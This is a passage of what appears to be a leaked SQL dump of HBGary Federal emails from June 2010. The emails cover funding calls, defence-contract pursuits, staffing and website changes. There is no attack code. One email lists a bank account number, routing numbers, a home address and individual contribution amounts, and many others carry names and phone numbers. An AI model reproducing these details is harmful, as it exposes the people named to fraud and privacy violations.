Inc.\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',9548,'aaron_hbgary_com/9548.html'),(7863,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006112.M672449P14101Q2718.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Health Insurance','Hi Penny,\r\n\r\nMark\'s insurance is now active.  How would you like me to handle his\r\nemployee contribution / HBGary Federal contributions?\r\n\r\nThanks,\r\nTed\r\n',13885,'aaron_hbgary_com/13885.html'),(7864,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006112.M882716P14101Q2719.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: Delivery Status Notification (Failure)','Is John gone?\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Mail Delivery Subsystem \r\nDate: Mon, Jun 28, 2010 at 9:38 AM\r\nSubject: Delivery Status Notification (Failure)\r\nTo: ted@hbgary.com\r\n\r\n\r\nDelivery to the following recipient failed permanently:\r\n\r\n    john@hbgary.com\r\n\r\nTechnical details of permanent failure:\r\nGoogle tried to deliver your message, but it was rejected by the\r\nrecipient domain. We recommend contacting the other email provider for\r\nfurther information about the cause of this error. The error that the\r\nother server returned was: 550 550 5.2.1 The email account that you\r\ntried to reach is disabled. j8si16639331qcu.178 (state 14).\r\n\r\n----- Original message -----\r\n\r\nMIME-Version: 1.0\r\nReceived: by 10.224.14.137 with SMTP id g9mr3353787qaa.182.1277739514166; Mon,\r\n       28 Jun 2010 08:38:34 -0700 (PDT)\r\nReceived: by 10.229.186.137 with HTTP; Mon, 28 Jun 2010 08:38:34 -0700 (PDT)\r\nDate: Mon, 28 Jun 2010 09:38:34 -0600\r\nMessage-ID: \r\nSubject: Windows XP\r\nFrom: Ted Vera \r\nTo: John Day \r\nCc: mark@hbgary.com\r\nContent-Type: text/plain; charset=ISO-8859-1\r\n\r\nHi John,\r\n\r\nWe have AD running in our test environment and can deploy fine to\r\nWindows 7 boxes, but we\'re having trouble getting the agent to load on\r\nXP systems.  We do not have a domain controller set up.  Do you have\r\nto do manual installs for XP clients?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',14878,'aaron_hbgary_com/14878.html'),(7865,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006113.M112194P14101Q2720.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','HBGary Federal Funding','The second quarterly round of HBGary Federal funding is due on July\r\n1st, with amounts due as follows per the operating agreement\r\n(Penny & HBGary may require adjustments based on previous contributions):\r\n\r\nPenny Leavy:  $39,013.33\r\nHBGary Inc:  $12,191.67\r\nNina Slapnick:  $5,689.45\r\nRich Cummings:  $1,625.57\r\n\r\nPlease send your check to:\r\n\r\nHBGary Federal\r\nC/O Ted Vera\r\n874 Legend Oak Dr.\r\nFountain, CO 80817\r\n\r\nor transfer / wire:\r\n\r\nThe acct # is 3803053804\r\nThe routing # is 121042882\r\nThe wire routing # is 121000248\r\n\r\nPlease let me know if you have any questions.\r\n\r\nTed\r\n',3230,'aaron_hbgary_com/3230.html'),(7866,'2010-06-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006113.M315531P14101Q2721.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Delivery Status Notification (Failure)','?\r\n\r\nOn Jun 28, 2010, at 11:40 AM, Ted Vera wrote:\r\n\r\n> Is John gone?\r\n> \r\n> \r\n> ---------- Forwarded message ----------\r\n> From: Mail Delivery Subsystem \r\n> Date: Mon, Jun 28, 2010 at 9:38 AM\r\n> Subject: Delivery Status Notification (Failure)\r\n> To: ted@hbgary.com\r\n> \r\n> \r\n> Delivery to the following recipient failed permanently:\r\n> \r\n>     john@hbgary.com\r\n> \r\n> Technical details of permanent failure:\r\n> Google tried to deliver your message, but it was rejected by the\r\n> recipient domain. We recommend contacting the other email provider for\r\n> further information about the cause of this error. The error that the\r\n> other server returned was: 550 550 5.2.1 The email account that you\r\n> tried to reach is disabled. j8si16639331qcu.178 (state 14).\r\n> \r\n> ----- Original message -----\r\n> \r\n> MIME-Version: 1.0\r\n> Received: by 10.224.14.137 with SMTP id g9mr3353787qaa.182.1277739514166; Mon,\r\n>        28 Jun 2010 08:38:34 -0700 (PDT)\r\n> Received: by 10.229.186.137 with HTTP; Mon, 28 Jun 2010 08:38:34 -0700 (PDT)\r\n> Date: Mon, 28 Jun 2010 09:38:34 -0600\r\n> Message-ID: \r\n> Subject: Windows XP\r\n> From: Ted Vera \r\n> To: John Day \r\n> Cc: mark@hbgary.com\r\n> Content-Type: text/plain; charset=ISO-8859-1\r\n> \r\n> Hi John,\r\n> \r\n> We have AD running in our test environment and can deploy fine to\r\n> Windows 7 boxes, but we\'re having trouble getting the agent to load on\r\n> XP systems.  We do not have a domain controller set up.  Do you have\r\n> to do manual installs for XP clients?\r\n> \r\n> Thanks,\r\n> Ted\r\n> \r\n> \r\n> \r\n> -- \r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9475,'aaron_hbgary_com/9475.html'),(7867,'2010-06-28','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','/aaron@hbgary.com/new/1297006113.M532807P14101Q2722.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: USINSCOM','In meeting with the Gaitorbait COTR today, I asked about you and Ted.\r\n\r\nDo you have tickets so we can talk in a scif?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, June 28, 2010 11:31 AM\r\nTo: Frisbie, Robert P\r\nSubject: Re: USINSCOM\r\n\r\nBob,\r\n\r\nI am meeting with Eric Eifert on the 7th @2pm.  Do you have some time to\r\nmeet that day or do you want to set something up separately?  Based on\r\nthe limited information I have received I definitely want to participate\r\non GatorBait.  I have the attendee list from the meeting and based on my\r\nknowledge of companies capabilities and exposure to this customer I\r\nthink ManTech, Mandiant, GD are in the best positions with this customer\r\nbut might be missing 1 or 2.  This customer knows HBGary (mostly because\r\nTed and I introduced them as a subcontractor) but the exposure is\r\nlimited, however I think we could add significant value.\r\n\r\nAaron\r\n\r\nOn Jun 24, 2010, at 10:30 AM, Frisbie, Robert P wrote:\r\n\r\n> Turns out that I have some classified capabilities very close to what\r\n> you did in Colorado lab.\r\n> \r\n> We also have a opportunity called GaitorBait that may be something we\r\n> should talk about.\r\n> \r\n> Interested?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, June 24, 2010 9:27 AM\r\n> To: Frisbie, Robert P\r\n> Subject: USINSCOM\r\n> \r\n> Hi Bob,\r\n> \r\n> I have a meeting on Friday with the Chief of the Red Team and Blue\r\nTeam\r\n> at INSCOM as a result of a briefing I did at NSA last week on New\r\nMedia.\r\n> Turns out there is significant anxiety in DoD since a new directive\r\nwas\r\n> signed a few months ago authorizing access to social/new media on\r\n.mil.\r\n> I am going to be talking to them about Incident Response, New Media\r\nand\r\n> its uses and vulnerabilities, IO.  I wasn\'t sure if you have any work\r\nin\r\n> that area again yet, but thought this might be of interest.\r\n> \r\n> I am starting to work on a curriculum to provide training to\r\n> organizations on new media familiarization, concerns, processes to\r\n> improve protection, etc.  Also looking into what type of solutions we\r\n> can build to help organizations.  New Media is something I know a\r\nlittle\r\n> about. ;)\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16342,'aaron_hbgary_com/16342.html'),(7868,'2010-06-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006114.M252348P14101Q2724.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: USINSCOM','Begin forwarded message:From: \"Frisbie, Robert P\" &lt;Robert.Frisbie@ManTech.com&gt;Date: June 28, 2010 11:51:34 AM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: USINSCOMIn meeting with the Gaitorbait COTR today, I asked about you and Ted.Do you have tickets so we can talk in a scif?-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, June 28, 2010 11:31 AMTo: Frisbie, Robert PSubject: Re: USINSCOMBob,I am meeting with Eric Eifert on the 7th @2pm. &nbsp;Do you have some time tomeet that day or do you want to set something up separately? &nbsp;Based onthe limited information I have received I definitely want to participateon GatorBait. &nbsp;I have the attendee list from the meeting and based on myknowledge of companies capabilities and exposure to this customer Ithink ManTech, Mandiant, GD are in the best positions with this customerbut might be missing 1 or 2. &nbsp;This customer knows HBGary (mostly becauseTed and I introduced them as a subcontractor) but the exposure islimited, however I think we could add significant value.AaronOn Jun 24, 2010, at 10:30 AM, Frisbie, Robert P wrote:Turns out that I have some classified capabilities very close to whatyou did in Colorado lab.We also have a opportunity called GaitorBait that may be something weshould talk about.Interested?-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, June 24, 2010 9:27 AMTo: Frisbie, Robert PSubject: USINSCOMHi Bob,I have a meeting on Friday with the Chief of the Red Team and BlueTeamat INSCOM as a result of a briefing I did at NSA last week on NewMedia.Turns out there is significant anxiety in DoD since a new directivewassigned a few months ago authorizing access to social/new media on.mil.I am going to be talking to them about Incident Response, New Mediaandits uses and vulnerabilities, IO. &nbsp;I wasn\'t sure if you have any workinthat area again yet, but thought this might be of interest.I am starting to work on a curriculum to provide training toorganizations on new media familiarization, concerns, processes toimprove protection, etc. &nbsp;Also looking into what type of solutions wecan build to help organizations. &nbsp;New Media is something I know alittleabout. ;)Aaron BarrCEOHBGary Federal Inc.Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8592,'aaron_hbgary_com/8592.html'),(7869,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006114.M520948P14101Q2725.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Barbara Vermilyea\" <barbarabookkeeping@yahoo.com>,\"Penny Leavy\" <penny@hbgary.com>','Fwd: Invoice from HBGary Federal LLC','Dear Penny Leavy-Hoglund,Your invoice is attached.  Please remit payment at your earliest convenience.Thank you for your business - we appreciate it very much.\r\nSincerely,HBGary Federal LLC\r\n		------------------------  Invoice Summary  --------------------------Invoice #: 1006Invoice Date: 06/28/2010Due Date: 07/13/2010Terms: Net 15Amount Due: $7,241.31The complete version has been provided as an attachment to this email.\r\n---------------------------------------------------------------------\r\n    \r\n    \r\n  \r\n\r\n\r\nWindows users: To view your invoiceOpen the attached PDF file. You must have Adobe® Reader® installed to view the attachment.\r\n\r\n\r\n\r\ndelivered by QuickBooks Online Plus\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',9007,'aaron_hbgary_com/9007.html'),(7870,'2010-06-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006114.M5712P14101Q2723.eml','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','Re: USINSCOM','Yes.  I have my badge back.\r\n\r\nAaron\r\n\r\nOn Jun 28, 2010, at 11:51 AM, Frisbie, Robert P wrote:\r\n\r\n> In meeting with the Gaitorbait COTR today, I asked about you and Ted.\r\n> \r\n> Do you have tickets so we can talk in a scif?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, June 28, 2010 11:31 AM\r\n> To: Frisbie, Robert P\r\n> Subject: Re: USINSCOM\r\n> \r\n> Bob,\r\n> \r\n> I am meeting with Eric Eifert on the 7th @2pm.  Do you have some time to\r\n> meet that day or do you want to set something up separately?  Based on\r\n> the limited information I have received I definitely want to participate\r\n> on GatorBait.  I have the attendee list from the meeting and based on my\r\n> knowledge of companies capabilities and exposure to this customer I\r\n> think ManTech, Mandiant, GD are in the best positions with this customer\r\n> but might be missing 1 or 2.  This customer knows HBGary (mostly because\r\n> Ted and I introduced them as a subcontractor) but the exposure is\r\n> limited, however I think we could add significant value.\r\n> \r\n> Aaron\r\n> \r\n> On Jun 24, 2010, at 10:30 AM, Frisbie, Robert P wrote:\r\n> \r\n>> Turns out that I have some classified capabilities very close to what\r\n>> you did in Colorado lab.\r\n>> \r\n>> We also have a opportunity called GaitorBait that may be something we\r\n>> should talk about.\r\n>> \r\n>> Interested?\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Thursday, June 24, 2010 9:27 AM\r\n>> To: Frisbie, Robert P\r\n>> Subject: USINSCOM\r\n>> \r\n>> Hi Bob,\r\n>> \r\n>> I have a meeting on Friday with the Chief of the Red Team and Blue\r\n> Team\r\n>> at INSCOM as a result of a briefing I did at NSA last week on New\r\n> Media.\r\n>> Turns out there is significant anxiety in DoD since a new directive\r\n> was\r\n>> signed a few months ago authorizing access to social/new media on\r\n> .mil.\r\n>> I am going to be talking to them about Incident Response, New Media\r\n> and\r\n>> its uses and vulnerabilities, IO.  I wasn\'t sure if you have any work\r\n> in\r\n>> that area again yet, but thought this might be of interest.\r\n>> \r\n>> I am starting to work on a curriculum to provide training to\r\n>> organizations on new media familiarization, concerns, processes to\r\n>> improve protection, etc.  Also looking into what type of solutions we\r\n>> can build to help organizations.  New Media is something I know a\r\n> little\r\n>> about. ;)\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8664,'aaron_hbgary_com/8664.html'),(7871,'2010-06-28','\"ICCS 2010\" <Events@regonline.com>','/aaron@hbgary.com/new/1297006114.M772167P14101Q2726.eml','\"Aaron Barr\" <aaron@hbgary.com>','Incomplete Registration','\r\n\r\n\r\n    \r\n        \r\n            \r\n            Dear Aaron,\r\n            We noticed that you started but did not complete your registration for International Conference on Cyber Security (ICCS 2010).  If this was unintentional, please click the following link to try again.\r\n            Last year more than 500 professionals from 40 countries around the world met at the International Conference on Cyber Security 2009 to discuss the worlds greatest emerging cyber threats. This August 2010, the Federal Bureau of Investigation and Fordham University will partner again to host the second annual International Conference on Cyber Security (ICCS 2010) in New York City, the information center of the world. ICCS 2010 will be another unparalleled opportunity that will bring together global leaders in emerging cyber threat analysis, operations and enforcement. With the number of cyber threats escalating worldwide, the need for comprehensive security analysis, assessment, and actions have reached a critical juncture. Join us at ICCS 2010 for a first-hand opportunity to discover and share critical intelligence on issues shaping the future of cyber security.\r\n            ICCS 2010 will consist of three days, 50 unique lectures from distinguished, plenary, and parallel speakers in the disciplines of Emerging Technologies, Operations and Enforcement, and Real Life Experiences. Also included are panel discussions, sponsors\' presentations, exhibitions and exceptional networking opportunities. \r\n            In response to heightened demand from cyber security professionals from around the world, the International Conference on Cyber Security (ICCS 2010) is featuring two additional events: the Law Enforcement Workshop (LEW), and the Cyber Security Tutorial (CST). These events will provide invaluable knowledge transfer to this specific target audience. ICCS 2010 participants are highly encouraged to take advantage of these unique opportunities to learn from subject matter experts and share experiences in Emerging Technology, Operations and Enforcement and Real Life Experiences. These events feature subject matter experts offering both technical and non-technical sessions, and are open to all cyber security professionals. \r\n            If you have any questions or concerns, please don\'t hesitate to contact the ICCS 2010 Registration\r\n            Committee at, iccs@fordham.edu.\r\n            \r\n            Thank you,\r\n            \r\n            ICCS 2010 Registration Committee\r\n            \r\n        \r\n    \r\n\r\n\r\n\r\n',4671,'aaron_hbgary_com/4671.html'),(7872,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006114.M994776P14101Q2727.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','To do\'s:','1.  Update pipeline (add Gatorbait, etc, follow-up call list)\r\n2.  Ted & Mark prep for VAPT (Metaspoit, assemble our tools,\r\ncoordinate for kickoff meeting, etc)\r\n3.  Ted & Mark prep for training (review training, use tools, do labs, etc)\r\n4.  Ted & Mark travel to Sac for TMC/Incident Response\r\n5.  Aaron draft Social NW course\r\n',848,'aaron_hbgary_com/848.html'),(7873,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006115.M216674P14101Q2728.eml','Ira.Entis@agilex.com,Ira.Entis@agilex.com','PT','Hi Ira,\r\n\r\nWhat\'s the latest word on the penetration test?  Is there a kick-off\r\ntelecon scheduled?  I heard that the proposal had to be split in order\r\nto get the Oracle effort awarded in time.  When do you expect the PT\r\naward announcement?\r\n\r\nThanks,\r\nTed\r\n',8770,'aaron_hbgary_com/8770.html'),(7874,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006115.M443825P14101Q2729.eml','michelle.lemke@gd-ais.com','FBI ESOC','Hi Michelle,\r\n\r\nI was just wondering how the orals went.  Do you know when the\r\ncustomer intends to release an award announcement?\r\n\r\nThanks,\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',12822,'aaron_hbgary_com/12822.html'),(7875,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006115.M828726P14101Q2730.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,mark@hbgary.com','Fwd: FBI ESOC','Quick update on FBI ESOC -- keep your fingers crossed...\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Lemke, Michelle R. \r\nDate: Mon, Jun 28, 2010 at 10:49 AM\r\nSubject: RE: FBI ESOC\r\nTo: Ted Vera \r\n\r\n\r\nIt went well - we\'re waiting for good news...not sure when we\'ll here.\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Monday, June 28, 2010 12:49 PM\r\nTo: Lemke, Michelle R.\r\nSubject: FBI ESOC\r\n\r\nHi Michelle,\r\n\r\nI was just wondering how the orals went.  Do you know when the\r\ncustomer intends to release an award announcement?\r\n\r\nThanks,\r\nTed\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',1559,'aaron_hbgary_com/1559.html'),(7876,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006116.M281980P14101Q2732.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Delivery Status Notification (Failure)','---------- Forwarded message ----------\r\nFrom: Greg Hoglund \r\nDate: Mon, Jun 28, 2010 at 11:07 AM\r\nSubject: Re: Delivery Status Notification (Failure)\r\nTo: Ted Vera \r\n\r\n\r\nNo, I let him go over a week ago.\r\n\r\n-Greg\r\n\r\nOn Mon, Jun 28, 2010 at 8:47 AM, Ted Vera  wrote:\r\n>\r\n> Is John still around?\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: Mail Delivery Subsystem \r\n> Date: Mon, Jun 28, 2010 at 9:38 AM\r\n> Subject: Delivery Status Notification (Failure)\r\n> To: ted@hbgary.com\r\n>\r\n>\r\n> Delivery to the following recipient failed permanently:\r\n>\r\n>     john@hbgary.com\r\n>\r\n> Technical details of permanent failure:\r\n> Google tried to deliver your message, but it was rejected by the\r\n> recipient domain. We recommend contacting the other email provider for\r\n> further information about the cause of this error. The error that the\r\n> other server returned was: 550 550 5.2.1 The email account that you\r\n> tried to reach is disabled. j8si16639331qcu.178 (state 14).\r\n>\r\n> ----- Original message -----\r\n>\r\n> MIME-Version: 1.0\r\n> Received: by 10.224.14.137 with SMTP id g9mr3353787qaa.182.1277739514166; Mon,\r\n>        28 Jun 2010 08:38:34 -0700 (PDT)\r\n> Received: by 10.229.186.137 with HTTP; Mon, 28 Jun 2010 08:38:34 -0700 (PDT)\r\n> Date: Mon, 28 Jun 2010 09:38:34 -0600\r\n> Message-ID: \r\n> Subject: Windows XP\r\n> From: Ted Vera \r\n> To: John Day \r\n> Cc: mark@hbgary.com\r\n> Content-Type: text/plain; charset=ISO-8859-1\r\n>\r\n> Hi John,\r\n>\r\n> We have AD running in our test environment and can deploy fine to\r\n> Windows 7 boxes, but we\'re having trouble getting the agent to load on\r\n> XP systems.  We do not have a domain controller set up.  Do you have\r\n> to do manual installs for XP clients?\r\n>\r\n> Thanks,\r\n> Ted\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',16366,'aaron_hbgary_com/16366.html'),(7877,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006116.M44656P14101Q2731.eml','\"Barr Aaron\" <aaron@hbgary.com>','BAE','I called Joe @ BAE again, got his voicemail.  I\'ll keep trying...\r\n\r\nTed\r\n',7154,'aaron_hbgary_com/7154.html'),(7878,'2010-06-28','\"Curtis, Colleen A\" <colleen.a.curtis@lmco.com>','/aaron@hbgary.com/new/1297006117.M926628P14101Q2733.eml',',,,','UNO - Carvel Task Order Announcement   - Lockheed Martin Proprietary Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLockheed\r\nMartin Proprietary Information \r\nProprietary information owned by Lockheed Martin that requires protection from\r\nunauthorized disclosure. Access is restricted to employees, and authorized\r\nindividuals who have executed nondisclosure agreements or who are otherwise\r\nlegally bound by confidentiality obligations to Lockheed Martin. \r\n\r\n. \r\n. \r\n. \r\nMessage Start: \r\n----------------------- \r\n\r\nGood Afternoon,\r\n\r\n&nbsp;\r\n\r\nPlease find attached, the Carvel Task Order Unclassified\r\nannouncement and Initial Security attachment to all the UNO Team Mates.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPlease let me know if you have\r\nany questions,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nColleen A. Curtis\r\n\r\nGlobal Supply Chain\r\nManagement\r\n\r\nSubcontract Administrator\r\n\r\nLockheed Martin\r\nInformation Systems &amp; Global Services\r\n\r\nPhone: 703-466-1307\r\n\r\nFAX: 703-466-1270\r\n\r\ne-mail: Colleen.a.curtis@lmco.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8215,'aaron_hbgary_com/8215.html'),(7879,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006119.M883835P14101Q2734.eml','\"Carl Tegeder\" <cwa4@cdc.gov>','Active Defense','Carl,\r\n\r\nAs discussed, attached is a whitepaper on our recently released\r\nEnterprise malware detection / analysis product - Active Defense.\r\nBased on our discussions I think this would be an ideal candidate for\r\nthe CDC security architecture.\r\n\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',3854,'aaron_hbgary_com/3854.html'),(7880,'2010-06-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006120.M824596P14101Q2735.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: UNO - Carvel Task Order Announcement - Lockheed Martin 	Proprietary Information','Sent from my iPadBegin forwarded message:From: &quot;Curtis, Colleen A&quot; &lt;colleen.a.curtis@lmco.com&gt;\r\nDate: June 28, 2010 1:19:34 PM EDTCc: &quot;Mai, Richard E&quot; &lt;richard.e.mai@lmco.com&gt;, &quot;Racz, James M&quot; &lt;james.m.racz@lmco.com&gt;, &quot;Watson, Charles M&quot; &lt;charles.m.watson@lmco.com&gt;, &quot;Staley, Ryan E&quot; &lt;ryan.e.staley@lmco.com&gt;\r\nSubject: UNO - Carvel Task Order Announcement   - Lockheed Martin Proprietary Information\r\n\r\n\r\n\r\nLockheed\r\nMartin Proprietary Information \r\nProprietary information owned by Lockheed Martin that requires protection from\r\nunauthorized disclosure. Access is restricted to employees, and authorized\r\nindividuals who have executed nondisclosure agreements or who are otherwise\r\nlegally bound by confidentiality obligations to Lockheed Martin. \r\n\r\n. \r\n. \r\n. \r\nMessage Start: \r\n----------------------- \r\n\r\nGood Afternoon,\r\n\r\n \r\n\r\nPlease find attached, the Carvel Task Order Unclassified\r\nannouncement and Initial Security attachment to all the UNO Team Mates.  \r\n\r\n \r\n\r\n \r\n\r\nPlease let me know if you have\r\nany questions,\r\n\r\n \r\n\r\n \r\n\r\nColleen A. Curtis\r\n\r\nGlobal Supply Chain\r\nManagement\r\n\r\nSubcontract Administrator\r\n\r\nLockheed Martin\r\nInformation Systems &amp; Global Services\r\n\r\nPhone: 703-466-1307\r\n\r\nFAX: 703-466-1270\r\n\r\ne-mail: Colleen.a.curtis@lmco.com\r\n\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9252,'aaron_hbgary_com/9252.html'),(7881,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006121.M140547P14101Q2736.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: UNO - Carvel Task Order Announcement - Lockheed Martin 	Proprietary Information','Pretty vague.  You should respond as interested and then go to their\r\nreading room to read the SOW.\r\n\r\n\r\n\r\nOn Mon, Jun 28, 2010 at 11:22 AM, Aaron Barr  wrote:\r\n>\r\n>\r\n> Sent from my iPad\r\n> Begin forwarded message:\r\n>\r\n> From: \"Curtis, Colleen A\" \r\n> Date: June 28, 2010 1:19:34 PM EDT\r\n> Cc: \"Mai, Richard E\" , \"Racz, James M\"\r\n> , \"Watson, Charles M\" ,\r\n> \"Staley, Ryan E\" \r\n> Subject: UNO - Carvel Task Order Announcement  - Lockheed Martin Proprietary\r\n> Information\r\n>\r\n> Lockheed Martin Proprietary Information\r\n> Proprietary information owned by Lockheed Martin that requires protection\r\n> from unauthorized disclosure. Access is restricted to employees, and\r\n> authorized individuals who have executed nondisclosure agreements or who are\r\n> otherwise legally bound by confidentiality obligations to Lockheed Martin.\r\n>\r\n> .\r\n> .\r\n> .\r\n> Message Start:\r\n> -----------------------\r\n>\r\n> Good Afternoon,\r\n>\r\n>\r\n>\r\n> Please find attached, the Carvel Task Order Unclassified announcement and\r\n> Initial Security attachment to all the UNO Team Mates.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Please let me know if you have any questions,\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Colleen A. Curtis\r\n>\r\n> Global Supply Chain Management\r\n>\r\n> Subcontract Administrator\r\n>\r\n> Lockheed Martin Information Systems & Global Services\r\n>\r\n> Phone: 703-466-1307\r\n>\r\n> FAX: 703-466-1270\r\n>\r\n> e-mail: Colleen.a.curtis@lmco.com\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',3560,'aaron_hbgary_com/3560.html'),(7882,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006121.M485953P14101Q2737.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','CDC Update','I spoke with Carl @ Unisys today.  They are still awaiting the CDC\r\naward announcement for CIMS (which was supposed to have been released\r\nin May).  Carl was recently promoted to Chief Architect for CDC\r\nMission Critical Systems and is working internally to \"sell\" HBGary\r\nproducts/services so we can get onto a task order upon award.  I sent\r\nhim the whitepaper for Active Defense.  He is going to review and may\r\nrequest a webex demo sometime soon.\r\n\r\nTed\r\n',11636,'aaron_hbgary_com/11636.html'),(7883,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006121.M729785P14101Q2738.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Summary of Telecon','Here is a quick summary of our VTC describing the changes to be made\r\nto HBGary.com:\r\n\r\nCreate an Information Sharing Forum off of the Portal:\r\nCustomers can share Indicators of Compromise\r\nRemove Forum off of Community Link on Menu Bar\r\n  Forum is already integrated in site.\r\n  Nobody is using it.\r\n  Take forum link away (from the public site)\r\n  Move it to the portal.\r\nSingle Forum, name it \"Threat Intel\" or something like that.\r\n  Customers can post information about indicators of compromise.\r\n  Portal is running off different physical machine.\r\n  Forum is running off main webserver.\r\n  They have shared authentication token.\r\n  Do not want everyone who has a portal acct to have forum acct.\r\n  Only customers:  get with Michael to understand how this works.\r\n  Michael@hbgary.com\r\nPut link directly under Summary on left nav bar in Portal.\r\n\r\n-- \r\nTed\r\n',6675,'aaron_hbgary_com/6675.html'),(7884,'2010-06-28','\"Ted Vera\" 